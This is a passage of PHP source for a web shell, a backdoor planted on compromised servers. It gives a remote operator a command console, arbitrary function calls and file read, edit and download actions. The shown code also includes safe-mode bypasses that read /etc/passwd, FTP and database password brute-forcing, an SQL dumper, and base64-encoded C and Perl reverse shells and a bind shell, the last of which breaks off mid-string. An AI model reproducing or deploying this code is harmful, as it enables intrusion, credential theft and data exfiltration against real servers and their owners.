        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();
    echo '<h1>String conversions</h1><div class=content>';
    $stringTools = array(
        'Base64 encode' => 'base64_encode',
        'Base64 decode' => 'base64_decode',
        'Url encode' => 'urlencode',
        'Url decode' => 'urldecode',
        'Full urlencode' => 'full_urlencode',
        'md5 hash' => 'md5',
        'sha1 hash' => 'sha1',
        'crypt' => 'crypt',
        'CRC32' => 'crc32',
        'ASCII to HEX' => 'ascii2hex',
        'HEX to ASCII' => 'hex2ascii',
        'HEX to DEC' => 'hexdec',
        'HEX to BIN' => 'hex2bin',
        'DEC to HEX' => 'dechex',
        'DEC to BIN' => 'decbin',
        'BIN to HEX' => 'bin2hex',
        'BIN to DEC' => 'bindec',        
        'String to lower case' => 'strtolower',
        'String to upper case' => 'strtoupper',
        'Htmlspecialchars' => 'htmlspecialchars',
        'String length' => 'strlen',
    );
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g

(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach($stringTools as $k => $v)
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send 

using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST

['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
    if(!empty($_POST['p1'])) {
        if(function_exists($_POST['p1']))
        echo htmlspecialchars($_POST['p1']($_POST['p2']));
    }
    echo"</pre></div>";
    ?>
    <br><h1>Search for hash:</h1><div class=content>
        <form method='post' target='_blank' name="hf">
            <input type="text" name="hash" style="width:200px;"><br>
            <input type="button" value="hashcrack.com" onClick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
            <input type="button" value="milw0rm.com" onClick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
            <input type="button" value="hashcracking.info" onClick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
            <input type="button" value="md5.rednoize.com" onClick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit

()"><br>
            <input type="button" value="md5decrypter.com" onClick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
        </form>
    </div>
    <?php
    printFooter();
}

function actionFilesTools() {
    if( isset($_POST['p1']) )
        $_POST['p1'] = urldecode($_POST['p1']);
    if(@$_POST['p2']=='download') {
        if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: ".$type);
            }
            $fp = @fopen($_POST['p1'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {

        }
        exit;
    }
    if( @$_POST['p2'] == 'mkfile' ) {
        if(!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    printHeader();
    echo '<h1>File tools</h1><div class=content>';
    if( !file_exists(@$_POST['p1']) ) {
        echo 'File not exists';
        printFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    $gid = @posix_getgrgid(@fileowner($_POST['p1']));
    echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' 

<span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' 

<span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
    if( empty($_POST['p2']) )
        $_POST['p2'] = 'view';
    if( is_file($_POST['p1']) )
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    else
        $m = array('Chmod', 'Rename', 'Touch');
    foreach($m as $v)
        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
    echo '<br><br>';
    switch($_POST['p2']) {
        case 'view':
            echo '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if( is_readable($_POST['p1']) ) {
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $code = highlight_file($_POST['p1'],true);
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
            }
            break;
        case 'chmod':
            if( !empty($_POST['p3']) ) {
                $perms = 0;
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
                if(!@chmod($_POST['p1'], $perms))
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                else
                    die('<script>g(null,null,null,null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST

['p1'])),-4).'"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if( !is_writable($_POST['p1'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if( !empty($_POST['p3']) ) {
                @file_put_contents($_POST['p1'],$_POST['p3']);
                echo 'Saved!<br><script>document.mf.p3.value="";</script>';
            }
            echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</textarea><input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>','','');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= ' '; break;
                    case 9:  $h[2] .= ' '; break;
                    case 10: $h[2] .= ' '; break;
                    case 13: $h[2] .= ' '; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
                    $h[1] .= '<br>';
                    $h[2] .= "
";
                }
             }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td 

bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
            break;
        case 'rename':
            if( !empty($_POST['p3']) ) {
                if(!@rename($_POST['p1'], $_POST['p3']))
                    echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
                else
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input 

type=submit value=">>"></form>';
            break;
        case 'touch':
            if( !empty($_POST['p3']) ) {
                $time = strtotime($_POST['p3']);
                if($time) {
                    if(@touch($_POST['p1'],$time,$time))
                        die('<script>g(null,null,null,null,"")</script>');
                    else {
                        echo 'Fail!<script>document.mf.p3.value="";</script>';
                    }
                } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
            }
            echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST

['p1'])).'"><input type=submit value=">>"></form>';
            break;
        case 'mkfile':
            
            break;
    }
    echo '</div>';
    printFooter();
}

function actionSafeMode() {
    $temp='';
    ob_start();
    switch($_POST['p1']) {
        case 1:
            $temp=@tempnam($test, 'cx');
            if(@copy("compress.zlib://".$_POST['p2'], $temp)){
                echo @file_get_contents($temp);
                unlink($temp);
            } else
                echo 'Sorry... Can\'t open file';
            break;
        case 2:
            $files = glob($_POST['p2'].'*');
            if( is_array($files) )
                foreach ($files as $filename)
                    echo $filename."
";
            break;
        case 3:
            $ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
            curl_exec($ch);
            break;
        case 4:
            ini_restore("safe_mode");
            ini_restore("open_basedir");
            include($_POST['p2']);
            break;
        case 5:
            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                $uid = @posix_getpwuid($_POST['p2']);
                if ($uid)
                    echo join(':',$uid)."
";
            }
            break;
        case 6:
            if(!function_exists('imap_open'))break;
            $stream = imap_open($_POST['p2'], "", "");
            if ($stream == FALSE)
                break;
            echo imap_body($stream, 1);
            imap_close($stream);
            break;
    }
    $temp = ob_get_clean();
    printHeader();
    echo '<h1>Safe mode bypass</h1><div class=content>';
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit 

value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit 

value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit 

value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input 

type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return 

false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input 

type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text 

name=param><input type=submit value=">>"></form>';
    if($temp)
        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
    echo '</div>';
    printFooter();
}

function actionConsole() {
    if(isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        echo "document.cf.cmd.value='';
";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"

	\'"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
            if(@chdir($match[1])) {
                $GLOBALS['cwd'] = @getcwd();
                echo "document.mf.c.value='".$GLOBALS['cwd']."';";
            }
        }
        echo "document.cf.output.value+='".$temp."';";
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();
?>
<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
}
</script>
<?php
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=

\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
    foreach($GLOBALS['aliases'] as $n => $v) {
        if($v == '') {
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
            continue;
        }
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g

(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using 

AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if(!empty($_POST['p1'])) {
        echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
    }
    echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
    echo '</form></div><script>document.cf.cmd.focus();</script>';
    printFooter();
}

function actionLogout() {
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo '<center><br><br><br>--=[  RELOAD-X WAS HERE  ]=--</center></br>';
}

function actionSelfRemove() {
    printHeader();
    if($_POST['p1'] == 'yes') {
        if(@unlink(SELF_PATH))
            die('Shell has been removed');
        else
            echo 'unlink error!';
    }
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    printFooter();
}

function actionBruteforce() {
    printHeader();
    if( isset($_POST['proto']) ) {
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST

['server']).'<br>';
        if( $_POST['proto'] == 'ftp' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $fp = @ftp_connect($ip, $port?$port:21);
                if(!$fp) return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif( $_POST['proto'] == 'mysql' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif( $_POST['proto'] == 'pgsql' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
                $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                    }
                    if(@$_POST['reverse']) {
                        $tmp = "";
                        for($i=strlen($line[0])-1; $i>=0; --$i)
                            $tmp .= $line[0][$i];
                        ++$attempts;
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                            $success++;
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                        }
                    }
                }
        } elseif($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                    }
                }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    }
    echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
        .'<span>Server:port</span></td>'
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
        .'<tr><td><span>Brute type</span></td>'
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
        .'<td><input type=text name=login value="komsen"></td></tr>'
        .'<tr><td><span>Dictionary</span></td>'
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
    echo '</div><br>';
    printFooter();
}

function actionSql() {
    class DbClass {
        var $type;
        var $link;
        var $res;
        function DbClass($type)    {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname){
            switch($this->type)    {
                case 'mysql':
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if(!$host[1]) $host[1]=5432;
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                    break;
            }
            return false;
        }
        function selectdb($db) {
            switch($this->type)    {
                case 'mysql':
                    if (@mysql_select_db($db))return true;
                    break;
            }
            return false;
        }
        function query($str) {
            switch($this->type) {
                case 'mysql':
                    return $this->res = @mysql_query($str);
                    break;
                case 'pgsql':
                    return $this->res = @pg_query($this->link,$str);
                    break;
            }
            return false;
        }
        function fetch() {
            $res = func_num_args()?func_get_arg(0):$this->res;
            switch($this->type)    {
                case 'mysql':
                    return @mysql_fetch_assoc($res);
                    break;
                case 'pgsql':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return false;
        }
        function listDbs() {
            switch($this->type)    {
                case 'mysql':
                    return $this->res = @mysql_list_dbs($this->link);
                break;
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database");
                break;
            }
            return false;
        }
        function listTables() {
            switch($this->type)    {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                break;
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 

'pg_catalog') or table_name = 'pg_user'");
                break;
            }
            return false;
        }
        function error() {
            switch($this->type)    {
                case 'mysql':
                    return @mysql_error($this->link);
                break;
                case 'pgsql':
                    return @pg_last_error($this->link);
                break;
            }
            return false;
        }
        function setCharset($str) {
            switch($this->type)    {
                case 'mysql':
                    if(function_exists('mysql_set_charset'))
                        return @mysql_set_charset($str, $this->link);
                    else
                        $this->query('SET CHARSET '.$str);
                    break;
                case 'mysql':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return false;
        }
        function dump($table) {
            switch($this->type)    {
                case 'mysql':
                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
                    $create = mysql_fetch_array($res);
                    echo $create[1].";

";
                    $this->query('SELECT * FROM `'.$table.'`');
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "'".@mysql_real_escape_string($v)."'";
                            $columns[] = "`".$k."`";
                        }
                    echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                    }
                break;
                case 'pgsql':
                    $this->query('SELECT * FROM '.$table);
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "'".addslashes($v)."'";
                            $columns[] = $k;
                        }
                    echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                    }
                break;
            }
            return false;
        }
    };
    $db = new DbClass($_POST['type']);
    if(@$_POST['p2']=='download') {
        ob_start("ob_gzhandler", 4096);
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        $db->selectdb($_POST['sql_base']);
        header("Content-Disposition: attachment; filename=dump.sql");
        header("Content-Type: text/plain");
        foreach($_POST['tbl'] as $v)
                $db->dump($v);
        exit;
    }
    printHeader();
    ?>
    <h1>Sql browser</h1><div class=content>
    <form name="sf" method="post">
        <table cellpadding="2" cellspacing="0">
            <tr>
                <td>Type</td>
                <td>Host</td>
                <td>Login</td>
                <td>Password</td>
                <td>Database</td>
                <td></td>
            </tr>
            <tr>
                <input type=hidden name=a value=Sql>
                <input type=hidden name=p1 value='query'>
                <input type=hidden name=p2>
                <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
                <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
                <td>
                    <select name='type'>
                        <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
                        <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
                    </select></td>
                <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
                <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
                <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
                <td>
    <?php
    $tmp = "<input type=text name=sql_base value=''>";
    if(isset($_POST['sql_host'])){
        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
            switch($_POST['charset']) {
                case "Windows-1251": $db->setCharset('cp1251'); break;
                case "UTF-8": $db->setCharset('utf8'); break;
                case "KOI8-R": $db->setCharset('koi8r'); break;
                case "KOI8-U": $db->setCharset('koi8u'); break;
                case "cp866": $db->setCharset('cp866'); break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
            }
            echo '</select>';
        }
        else echo $tmp;
    }else
        echo $tmp;
    ?></td>
                <td><input type=submit value=">>"></td>
            </tr>
        </table>
        <script>
            function st(t,l) {
                document.sf.p1.value = 'select';
                document.sf.p2.value = t;
                if(l!=null)document.sf.p3.value = l;
                document.sf.submit();
            }
            function is() {
                for(i=0;i<document.sf.elements['tbl[]'].length;++i)
                    document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
            }
        </script>
    <?php
    if(isset($db) && $db->link){
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if(!empty($_POST['sql_base'])){
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")

</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit

();'></td><td style='border-top:2px solid #666;'>";
                if(@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
                    $num = $db->fetch();
                    $num = $num['n'];
                    echo "<span>".$_POST['p2']."</span> ($num) ";
                    for($i=0;$i<($num/30);$i++)
                        if($i != (int)$_POST['p3'])
                            echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
                        else
                            echo ($i+1)," ";
                    if($_POST['type']=='pgsql')
                        $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
                    else
                        $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
                    echo "<br><br>";
                }
                if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
                    $db->query(@$_POST['p3']);
                    if($db->res !== false) {
                        $title = false;
                        echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
                        $line = 1;
                        while($item = $db->fetch())    {
                            if(!$title)    {
                                echo '<tr>';
                                foreach($item as $key => $value)
                                    echo '<th>'.$key.'</th>';
                                reset($item);
                                $title=true;
                                echo '</tr><tr>';
                                $line = 2;
                            }
                            echo '<tr class="l'.$line.'">';
                            $line = $line==1?2:1;
                            foreach($item as $key => $value) {
                                if($value == null)
                                    echo '<td><i>null</i></td>';
                                else
                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
                            }
                            echo '</tr>';
                        }
                        echo '</table>';
                    } else {
                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
                    }
                }
                echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return 

false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            if(@$_POST['p1'] == 'loadfile') {
                $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
                $file = $db->fetch();
                echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
            }
    }
    echo '</div>';
    printFooter();
}
function actionNetwork() {
    printHeader();
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGlu?

ZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQog?ICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2Zh?

bWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQog?ICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tl?

dChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQs?IChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQog?

ICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAg?ICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0?

ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwg?

ZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8?IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQo?

U09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7?DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElO?

LCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZT?T0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VU?

KTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+?

DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdj?LCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVj?

dCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxT?T0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFG?

